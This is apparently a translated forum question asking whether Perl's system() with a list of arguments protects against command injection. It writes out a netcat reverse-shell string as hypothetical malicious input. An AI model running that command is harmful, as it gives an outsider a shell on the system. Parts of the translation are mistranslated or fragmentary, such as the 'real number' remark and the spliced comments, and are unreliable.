system()
是一个函数,用于执行带有参数'n'的文件,其中'n'表示实数。
如果我们有:system("path/to/program","firstArg","secondArg",...);
第二个参数中的字符串将始终作为传递给"path/to/program"
的字符串,对吗?
如果我这样做:system("path/to/program","legitArg",$userinput);
- $userinput
会受到代码注入的影响吗?还是它将作为字符串传递给path/to/program
?
即使$userinput="some_kind_of_escape /bin/nc -e /bin/sh 10.0.0.1 1234"
?
如果不是,我该如何将这些参数参数化?
更新:根据下面的答案,我从斯坦福大学找到了这个链接:using the perl system() function
system(@a)
不安全。 - Alnitakdir
(一个shell命令)是否可执行。 - ikegami